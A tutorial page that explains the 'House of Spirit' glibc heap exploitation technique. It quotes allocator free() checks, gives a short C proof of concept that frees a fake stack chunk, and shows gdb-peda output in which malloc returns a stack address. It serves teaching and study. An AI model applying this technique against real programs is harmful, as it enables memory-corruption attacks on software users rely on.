Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.


House of Spirit

  • _int_free() request misaligned_chunk() to check if the chunk's pointer to which the memory has been freed is a correctly aligned pointer.
    • If the chunk's alignment is not correct, the process exits with a "free(): invalid pointer" message.
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

	If TRIM_FASTBINS set, don't place chunks
	bordering top into fastbins
      && (chunk_at_offset(p, size) != av->top)
      ) {
 if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
      errstr = "free(): invalid pointer";
  • _int_free() checks to see if the value stored in "size" of the chunk is less than MINSIZE and its value is a normal sorted value.
    • If not normal, the process terminates with the message "free (): invalid size".
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
      errstr = "free(): invalid size";
      goto errout;
  • _int_free() checks that the size of the chunk corresponds to fastbin and then checks that the value stored in size of the next chunk is normal under the following conditions.
    • From the value stored in the "size" of the next chunk, remove all the used flag bits and verify that the value is less than or equal to 2 * SIZE_SZ.
    • Then check that the value stored in the "size" of the next chunk is greater than or equal to the value of av-> system_mem.
    • If the Arena is not locked, the value stored in av→system_mem may be false.
    • Therefore, after locking the Arena, the value is checked again according to the conditions identified above.
    • If the condition is met, the value stored in the size of the next chunk is abnormal, so it prints the message "free (): invalid next size (fast)" and terminates the process.
  • If the above conditions are met, the chunk is a normal chunk, and the chunk is stored in fastbin.
    • _int_free() does not check if a pointer to the passed chunk exists on the Stack.
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

	If TRIM_FASTBINS set, don't place chunks
	bordering top into fastbins
      && (chunk_at_offset(p, size) != av->top)
      ) {

    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			  <= 2 * SIZE_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
	/* We might not have a lock at this point and concurrent modifications
	   of system_mem might have let to a false positive.  Redo the test
	   after getting the lock.  */
	if (have_lock
	    || ({ assert (locked == 0);
		  __libc_lock_lock (av->mutex);
		  locked = 1;
		  chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
		    || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
	    errstr = "free(): invalid next size (fast)";
	    goto errout;
	if (! have_lock)
	    __libc_lock_unlock (av->mutex);
	    locked = 0;

    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;
    unsigned int old_idx = ~0u;
  • House of Spirit can be implemented if it is possible to write a fake chunk to the stack and call free() at an address of that stack plus 0x10.
    • Write a Fake chunk for Fastbin on the stack and request malloc() for memory allocation.
    • And if you call free() with the address of Fake chunk plus 0x10, a pointer to that chunk is stored in Fastbin[].
    • Calling malloc () with the size of the chunk returns a pointer to the fake chunk stored in Fastbin [].
    • The pointer is the memory of the stack area.
  • For example, create a Fake chunk on the Stack with a Fake chunk "size" of 0x80 and the next chunk with a "size" value of 0x1000:
    • Request malloc() for memory allocation of size 0x3e8(1000).
    • Request free() to free the pointer to the fake chunk (0x7fffffffe3d0).
    • Call malloc() for allocation of memory of size 0x70.
    • The allocator reallocates and returns a pointer stored in fastbinsY[6].
    • The returned memory is a stack area.
House of Spirit flow


  • This code is the same code as the previous example.
    • After writing the fake chunks to the stack, it allocates memory by calling malloc().
    • Then call free() to free the memory stored in ptr.
    • Call malloc() again to allocate memory of size 0x70.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(){
    unsigned long *ptr;
    unsigned long fake_chunk[20];
    fprintf(stderr,"fakeChunk : %p\n",fake_chunk);
    fprintf(stderr,"ptr : %p\n",&ptr);
    fake_chunk[1] = 0x80;
    fake_chunk[17] = 0x1000;

    ptr = fake_chunk + 2;
    char *stack = malloc(0x70);
    fprintf(stderr,"Stack : %p\n",stack);
  • Check for fake chunks written to stack at 0x4006c0.

    • Check the heap space creation and arena value at 0x4006d8.

    • Free the fake chunk pointer at 0x4006f9 and see the change in fastbins.

    • Check the pointer returned from malloc() at 0x400708.

lazenca0x0@ubuntu:~$ gcc -o house_of_spirit house_of_spirit.c 
lazenca0x0@ubuntu:~$ gdb -q ./house_of_spirit
Reading symbols from ./house_of_spirit...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400666 <+0>:	push   rbp
   0x0000000000400667 <+1>:	mov    rbp,rsp
   0x000000000040066a <+4>:	sub    rsp,0xc0
   0x0000000000400671 <+11>:	mov    rax,QWORD PTR fs:0x28
   0x000000000040067a <+20>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040067e <+24>:	xor    eax,eax
   0x0000000000400680 <+26>:	mov    rax,QWORD PTR [rip+0x2009d9]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400687 <+33>:	lea    rdx,[rbp-0xb0]
   0x000000000040068e <+40>:	mov    esi,0x4007d4
   0x0000000000400693 <+45>:	mov    rdi,rax
   0x0000000000400696 <+48>:	mov    eax,0x0
   0x000000000040069b <+53>:	call   0x400540 <fprintf@plt>
   0x00000000004006a0 <+58>:	mov    rax,QWORD PTR [rip+0x2009b9]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x00000000004006a7 <+65>:	lea    rdx,[rbp-0xc0]
   0x00000000004006ae <+72>:	mov    esi,0x4007e4
   0x00000000004006b3 <+77>:	mov    rdi,rax
   0x00000000004006b6 <+80>:	mov    eax,0x0
   0x00000000004006bb <+85>:	call   0x400540 <fprintf@plt>
   0x00000000004006c0 <+90>:	mov    QWORD PTR [rbp-0xa8],0x80
   0x00000000004006cb <+101>:	mov    QWORD PTR [rbp-0x28],0x1000
   0x00000000004006d3 <+109>:	mov    edi,0x3e8
   0x00000000004006d8 <+114>:	call   0x400550 <malloc@plt>
   0x00000000004006dd <+119>:	lea    rax,[rbp-0xb0]
   0x00000000004006e4 <+126>:	add    rax,0x10
   0x00000000004006e8 <+130>:	mov    QWORD PTR [rbp-0xc0],rax
   0x00000000004006ef <+137>:	mov    rax,QWORD PTR [rbp-0xc0]
   0x00000000004006f6 <+144>:	mov    rdi,rax
   0x00000000004006f9 <+147>:	call   0x400510 <free@plt>
   0x00000000004006fe <+152>:	mov    edi,0x70
   0x0000000000400703 <+157>:	call   0x400550 <malloc@plt>
   0x0000000000400708 <+162>:	mov    QWORD PTR [rbp-0xb8],rax
   0x000000000040070f <+169>:	mov    rax,QWORD PTR [rip+0x20094a]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400716 <+176>:	mov    rdx,QWORD PTR [rbp-0xb8]
   0x000000000040071d <+183>:	mov    esi,0x4007ee
   0x0000000000400722 <+188>:	mov    rdi,rax
   0x0000000000400725 <+191>:	mov    eax,0x0
   0x000000000040072a <+196>:	call   0x400540 <fprintf@plt>
   0x000000000040072f <+201>:	nop
   0x0000000000400730 <+202>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400734 <+206>:	xor    rax,QWORD PTR fs:0x28
   0x000000000040073d <+215>:	je     0x400744 <main+222>
   0x000000000040073f <+217>:	call   0x400520 <__stack_chk_fail@plt>
   0x0000000000400744 <+222>:	leave  
   0x0000000000400745 <+223>:	ret    
End of assembler dump.
gdb-peda$ b *0x00000000004006c0
Breakpoint 1 at 0x4006c0
gdb-peda$ b *0x00000000004006d8
Breakpoint 2 at 0x4006d8
gdb-peda$ b *0x00000000004006f9
Breakpoint 3 at 0x4006f9
gdb-peda$ b *0x0000000000400708
Breakpoint 4 at 0x400708
  • Save the size of the fake chunk(0x80) to the QWORD PTR[0x7fffffffe470-0xa8], and the size of the next chunk(0x1000) to the QWORD PTR[0x7fffffffe470-0xa8].

    • Fake chunks have been created on the stack.
Fake chunks stored on the stack.
gdb-peda$ r
Starting program: /home/lazenca0x0/house_of_spirit 
fakeChunk : 0x7fffffffe3c0
ptr : 0x7fffffffe3b0

Breakpoint 1, 0x00000000004006c0 in main ()
gdb-peda$ x/2i $rip
=> 0x4006c0 <main+90>:	mov    QWORD PTR [rbp-0xa8],0x80
   0x4006cb <main+101>:	mov    QWORD PTR [rbp-0x28],0x1000
gdb-peda$ i r rbp
rbp            0x7fffffffe470	0x7fffffffe470
gdb-peda$ ni

0x00000000004006cb in main ()
gdb-peda$ ni

0x00000000004006d3 in main ()
gdb-peda$ x/gx 0x7fffffffe470 - 0xa8
0x7fffffffe3c8:	0x0000000000000080
gdb-peda$ x/gx 0x7fffffffe470 - 0x28
0x7fffffffe448:	0x0000000000001000
gdb-peda$ x/20gx 0x7fffffffe3c8 - 0x8
0x7fffffffe3c0:	0x0000000000000000	0x0000000000000080
0x7fffffffe3d0:	0x0000000000000000	0x0000000000000000
0x7fffffffe3e0:	0x0000000000000000	0x0000000000000000
0x7fffffffe3f0:	0x00007fffffffe568	0x0000000000000000
0x7fffffffe400:	0x0000000000000001	0x00007fffffffe568
0x7fffffffe410:	0x0000000000000001	0x00007fffffffe490
0x7fffffffe420:	0x00007ffff7ffe168	0x0000000000f0b5ff
0x7fffffffe430:	0x0000000000000001	0x000000000040079d
0x7fffffffe440:	0x00007fffffffe46e	0x0000000000001000
0x7fffffffe450:	0x0000000000400750	0x0000000000400570
  • The arena has only minimal information because it was not created in heap space before malloc () asked for memory allocation.
    • After malloc() allocates memory, heap space is created and the values ​​of Arena's flags, bins, system_mem, max_system_mem, etc. are initialized.
Before and after requesting heap allocation
gdb-peda$ c

Breakpoint 2, 0x00000000004006d8 in main ()
gdb-peda$ p main_arena 
$1 = {
  mutex = 0x0, 
  flags = 0x0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x0, 
  last_remainder = 0x0, 
  bins = {0x0 <repeats 254 times>}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff7dd1b20 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x0, 
  max_system_mem = 0x0
gdb-peda$ p &main_arena 
$2 = (struct malloc_state *) 0x7ffff7dd1b20 <main_arena>
gdb-peda$ ni

0x00000000004006dd in main ()
gdb-peda$ p main_arena 
$3 = {
  mutex = 0x0, 
  flags = 0x1, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x6023f0, 
  last_remainder = 0x0, 
  bins = {0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 


    0x7ffff7dd21a8 <main_arena+1672>, 0x7ffff7dd21a8 <main_arena+1672>...}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff7dd1b20 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x21000, 
  max_system_mem = 0x21000
  • Transfer a pointer to the Fake chunk (0x7fffffffe3d0) to free(), and when the memory is freed, the pointer to that chunk is placed at fastbinsY[6].
    • Call malloc() with an argument of 0x70 for reallocating the chunk.
    • Malloc() then reallocates the chunks placed at fastbinsY[6] and returns a pointer(0x7fffffffe3d0).
Reallocate chunks registered in fastbins
gdb-peda$ c

Breakpoint 3, 0x00000000004006f9 in main ()
gdb-peda$ x/i $rip
=> 0x4006f9 <main+147>:	call   0x400510 <free@plt>
gdb-peda$ i r rdi
rdi            0x7fffffffe3d0	0x7fffffffe3d0
gdb-peda$ p main_arena->fastbinsY[6]
$4 = (mfastbinptr) 0x0
gdb-peda$ ni

0x00000000004006fe in main ()
gdb-peda$ p main_arena->fastbinsY[6]
$5 = (mfastbinptr) 0x7fffffffe3c0
gdb-peda$ c

Breakpoint 4, 0x0000000000400708 in main ()
gdb-peda$ i r rax
rax            0x7fffffffe3d0	0x7fffffffe3d0
gdb-peda$ c
Stack : 0x7fffffffe3d0
[Inferior 1 (process 21008) exited normally]
Warning: not running

Related information